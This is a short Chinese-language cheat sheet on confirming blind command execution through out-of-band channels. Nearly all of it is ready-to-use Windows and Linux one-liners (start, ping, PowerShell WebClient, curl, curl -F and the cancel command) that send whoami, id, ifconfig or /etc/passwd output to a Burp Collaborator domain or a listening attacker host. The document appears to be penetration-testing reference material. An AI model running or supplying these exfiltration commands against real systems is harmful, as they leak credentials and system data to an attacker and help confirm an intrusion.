利用HTTP、DNS通道测试无回显的命令执行
windows下通过start命令
for /F %X in ('whoami') do start http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net/%X
会使用默认浏览器打开http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net/laptop-k77ue954/hp
从burpsuite get请求的uri可以看到whoami内容.
windows下通过ping命令
for /F %i in ('whoami') do ping -n 1 %i.uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net
发现当当前用户名中带有\时会出现找不到主机,因为域名不可能存在\字符,随采用下面命令更为妥当。
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net
这样把\做分隔符取后面的值ping只显示出hp。
windows存在powershell的情况下
使用powershell进行base64编码并进行http请求
for /F %X in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%X'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net/'+$a);
linux下通过ping命令
ping `whoami`.uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net
ping命令结合base64编码
ping $(id|base64).uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net
linux下通过curl命令
curl http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net/`whoami`
curl命令结合base64编码
curl http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net/$(id|base64)
遇到有换行等情况下把\n替换为-
curl http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net/$(ifconfig|base64|tr '\n' '-')
复制出来把-替换为空
然后base64解码
linux下使用curl -F参数
curl -X POST -F xx=@passwd http://uusifci7x1s0hcrny1lkqwqyjppfd4.burpcollaborator.net
linux下使用cancel命令
攻击机nc监听一个端口,靶机执行命令
cancel -u "$(cat /etc/passwd)" -h xxx.2x0.xxx.69:2333